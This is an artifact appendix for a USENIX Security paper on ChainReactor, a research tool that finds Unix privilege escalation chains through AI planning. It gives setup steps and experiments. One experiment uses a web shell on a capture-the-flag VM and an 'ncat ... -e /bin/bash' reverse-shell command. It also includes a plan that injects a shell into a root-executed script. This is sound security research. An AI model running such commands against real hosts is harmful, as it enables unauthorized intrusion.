ARTIFACT EVALUATED usenix ASSOCIATION AVAILABLE

ARTIFACT EVALUATED usenix ASSOCIATION FUNCTIONAL

ARTIFACT EVALUATED usenix ASSOCIATION REPRODUCED

USENIX Security ’24 Artifact Appendix: ChainReactor: Automated Privilege Escalation Chain Discovery via AI Planning

Giulio De Pasquale[1,4], Ilya Grishchenko[2], Riccardo Iesari[3], Gabriel Pizarro[2], Lorenzo Cavallaro[4], Christopher Kruegel[2], and Giovanni Vigna[2]

[1]King’s College London
[2]University of California, Santa Barbara
[3]Vrije Universiteit Amsterdam
[4]University College London

A Artifact Appendix

A.1 Abstract

The artifact is the public source release of ChainReactor which leverages AI planning to discover exploitation chains for privilege escalation on Unix systems.

The repository contains the open-source implementation of the system described in the paper and includes the generated plans for the instances of AWS and Digital Ocean (DO) that were successfully exploited, along with the tools used for extraction and planning.

The primary components of the project are the fact extractor, PDDL domain and problem files, and the planning and solving scripts. The project uses Nix for development, ensuring reliable and reproducible package management. The planning tasks are handled by Powerlifted, a lifted PDDL planner, which is used to generate the exploitation chains.

A.2 Description & Requirements

A.2.1 Security, privacy, and ethical concerns

Executing this artifact does not involve security, privacy, or ethical concerns. All operations are performed offline, ensuring the safety of the evaluator’s machine and data.

A.2.2 How to access

The artifact can be accessed via the project’s GitHub[1]repository. The repository includes all necessary files and instructions to reproduce the results described in the paper.

Additionally, the artifacts are also available as Zenodo DOI `10.5281/zenodo.13216329`[2].

A.2.3 Hardware dependencies

The minimal hardware requirements to run the artifact are as follows:

- OS: any Unix system, e.g. Linux / MacOS
- RAM: at least 16GB - lower requirements might also be sufficient
- HDD: 10GB of disk space

A.2.4 Software dependencies

The only software requirement is that Nix be installed on the system. Nix is a powerful package manager for Linux and other Unix systems that ensures reliable and reproducible package management. Once Nix is installed, it will automatically handle all dependencies, including the planner installation and other necessary tools.

A.2.5 Benchmarks

The datasets for the instances we found exploits are included in the repository’s ‘artifacts‘ directory. Additional artifacts for instances where no exploits were found are uploaded separately.

Note: We are unable to reproduce all results as we were unable to retrieve artifacts for 7 AWS instances.

A.3 Set-up

To set up the environment for evaluating our artifact, we use Nix, a powerful package manager for Linux and other Unix systems, ensuring reliable and reproducible package management.

[1] `https://github.com/ucsb-seclab/chainreactor/releases/tag/v1.0`

[2] `https://zenodo.org/records/13216329`

A.3.1 Installing Nix

If Nix is not already installed on your system, you can install it using the Determinate Systems installer with the following command:

```
curl --proto '=https' --tlsv1.2 -sSf -L
    https://install.determinate.systems/nix
     | sh -s -- install
```

You can verify that Nix was installed correctly by running:

```
nix --version
```

A.3.2 Enabling and Configuring Flakes

Flakes are an experimental feature in Nix and need to be explicitly enabled. There are two ways to enable flakes: temporarily and permanently.

Temporary Enablement To enable flakes temporarily for a single command, add the following options:

```
--experimental-features 'nix-command flakes
    '
```

For example:

```
nix --experimental-features 'nix-command
    flakes' develop
```

Permanent Enablement To enable flakes permanently, you have several options depending on your setup. For NixOS, add the following to your system configuration:

```
nix.settings.experimental-features = [ "nix
    -command" "flakes" ];
```

For other distributions using Home-Manager, add the following to your home-manager config:

```
nix = {
  package = pkgs.nix;
  settings.experimental-features = [ "nix-
      command" "flakes" ];
};
```

For other distributions without Home-Manager, add the following to `~/.config/nix/nix.conf` or `/etc/nix/nix.conf`:

```
experimental-features = nix-command flakes
```

After making these changes, restart the Nix daemon or reboot your system for the changes to take effect.

Entering the Development Environment Once Nix is installed and flakes are enabled, you can enter the development environment for this repository by navigating to the root directory of the repository in your terminal and running:

```
nix develop
```

The command above will pull and compile all the dependencies needed by ChainReactor, providing a seamless "one-click" development environment, ensuring that all dependencies are correctly set up and reproducible.

A.3.3 Basic Test

To verify that the setup is correct and all required software components are functioning, you can run the `run_tests.sh` script, which executes a series of CI tests defined in PDDL files. These tests act as sanity checks for our PDDL domain.

Run the following command in the terminal:

```
./run_tests.sh
```

This script will run all the tests and provide a summary of the results in the file `tests_recap.txt`. The expected successful output is a report indicating which tests succeeded and which failed. A successful setup will show that all tests have passed without any errors.

A.4 Evaluation workflow

A.4.1 Major Claims

(C1): ChainReactor *successfully rediscovered the exploit chains in the Capture the Flag (CTF) machines, demonstrating its capability to identify known privilege escalation exploits. This is proven by the experiment (E1) described in Section 6.1 of the paper.*

(C2): ChainReactor *identified novel zero-day privilege escalation chains on 16 Amazon EC2 and 4 Digital Ocean instances. This is proven by the experiment (E2) described in Section 6.2 of the paper.*

A.4.2 Experiments

(E1): *Rediscovering Known Exploits in CTF VMs [30 human-minutes + 1 compute-hour + 5GB disk]: This experiment demonstrates* ChainReactor *'s ability to rediscover known privilege escalation exploits in CTF VMs.*

Preparation: Extract the "Escalate my Privileges" VM from the Zenodo artifact[3].
Set up the VM in a hypervisor of your choice (e.g., VirtualBox) and ensure that it is connected to a private network. Note the IP address of the VM for accessing the web shell.

[3] https://zenodo.org/records/13216329

Execution: Open a browser and navigate to http://<VM_IP>/phpbash.php to access the web shell.
Spawn the BFG fact extractor's bind shell on a port (e.g., 5000) using the following command:

```
./bfg9000.py extract -p 5000 -l
```

In the web shell, connect back to the fact extractor using the following command:

```
ncat <FACT_EXTRACTOR_IP> 5000 -e /bin/bash
```

Replace <FACT_EXTRACTOR_IP> with the IP address of the machine running the BFG fact extractor. Note that you might need to add a firewall rule on the attacker machine to allow connection to the port used by the BFG fact extractor (e.g., 5000).
After the fact extraction is complete, navigate to the generated_problems/ directory to find the generated PDDL problem files. Identify the problem file that ends with -root.pddl to solve for root escalation. Solve the problem using the BFG9000 solve command:

```
./bfg9000.py solve -p generated_problems/<
    PROBLEM_FILE>
```

Replace <PROBLEM_FILE> with the appropriate file name.

Results: The solution will be saved in a file named plan.1. This file contains the steps to achieve the privilege escalation. Note that the tool can find multiple solutions, and it's not guaranteed that the solution will exactly match the one in the walkthrough. To explore different solutions, you can modify the preconditions in the generated problem file. For example, if the first action requires a certain binary to be installed, you can remove that binary from the initial state in the problem file. This will force the planner to find an alternative way to achieve root.
Collect the generated plans and verify that they match the known exploits as described in the walkthrough available at: https://medium.com/@karthakasyap18/escalate-my-privilege-1-c7e42096467. The expected outcome is that ChainReactor will generate a plan that follows the same steps as the manual walkthrough, demonstrating its capability to rediscover known privilege escalation exploits.
The plan that follows the walkthrough is shown in Figure 1.

(E2): *Identifying Zero-Day Exploits in AWS and Digital Ocean Instances [0.5 human-hour + 0.5 compute-hours + 10GB disk]: This experiment demonstrates* ChainReactor *'s ability to identify novel zero-day privilege escalation chains in cloud instances.*
Preparation: We recommend using the generated problems in the artifacts folder for this experiment. The problem filenames reflect the goal of the escalation; in the current state, the problems are appended to the user to whom the planner will try to find an escalation path. For example, micronix-problem-root.pddl is the problem whose goal is to escalate to root.
Execution: Navigate to the artifacts folder where the generated problems are stored. Assuming the current directory is the repository's root, run the solver on the generated problems:

```
./bfg9000.py solve -p <PROBLEM_FILE>
```

Replace <PROBLEM_FILE> with the path to the problem file.

Alternatively, you can spawn AMIs or Droplets, although this is not recommended.
Identify the AMI or Droplet associated with the exploited instance from the artifacts folder. The AMI/Droplets names are in the format bfg-<ami/droplet>_<random_postfix>.
Spawn the identified AMI on AWS or Digital Ocean droplet and set up the environment by following the installation instructions in the setup section. Note that this option requires setting up an AWS or Digital Ocean account and may incur costs. Additionally, some images may no longer be available. Ensure the AWS_KEY_PATH environment variable is set:

```
export AWS_KEY_PATH=<path_to_your_ssh_key>
```

Results: Collect and analyze the generated plans to identify any novel privilege escalation chains. Verify that the generated plans match the expected privilege escalation chains as described in the paper and that all problems are solvable.

A.5 Generated PDDL Files Explanation

After running the extraction, you will have a set of generated problems under the directory generated_problems/. The problems can then be fed to any PDDL 2.1 planner for solving, or be solved via the BFG9000 solve command.

The problem filenames reflect the goal of the escalation; in the current state, the problems are appended to the user to whom the planner will try to find an escalation path. For example, micronix-problem-root.pddl is the problem whose goal is to escalate to root.

Explanation: The plan in Figure 1 describes a sequence of actions that allows the user apache_u to escalate privileges to the root user. Initially, the user apache_u can execute and write to the file opt_my_backup_sh. The plan involves spawning a process using vim to edit opt_my_backup_sh and inject a shell command. Finally, the script opt_my_backup_sh is executed, which results in spawning an injected shell with root privileges. This sequence

```
1: (derive_user_can_execute_file apache_u apache_g usr_bin_vim )
2: (derive_user_can_execute_file apache_u apache_g opt_my_backup_sh )
3: (derive_user_can_write_file apache_u apache_g opt_my_backup_sh )
4: (spawn_process apache_u apache_g usr_bin_vim process )
5: (write_data_to_file process usr_bin_vim opt_my_backup_sh shell local apache_u apache_g )
6: (spawn_injected_shell_from_executable_systematically_called_by_user apache_u root_u apache_g
    opt_my_backup_sh process )
```

Figure 1: Plan generated for the CTF VM.

of actions demonstrates how ChainReactor can discover and exploit privilege escalation paths.

Exploring Different Solutions: ChainReactor is capable of finding multiple solutions. If the generated plan does not exactly match the one in the walkthrough, you can explore different solutions by modifying the preconditions in the generated problem file. For example, if the first action requires a certain binary to be installed, you can remove that binary from the initial state in the problem file. This will force the planner to find an alternative way to achieve root. By doing this, one of the solutions will eventually match the one in the walkthrough.

A.6 Version

Based on the LaTeX template for Artifact Evaluation V20231005. Submission, reviewing, and badging methodology followed for the evaluation of this artifact can be found at https://github.com/ucsb-seclab/chainreactor/releases/tag/v1.0.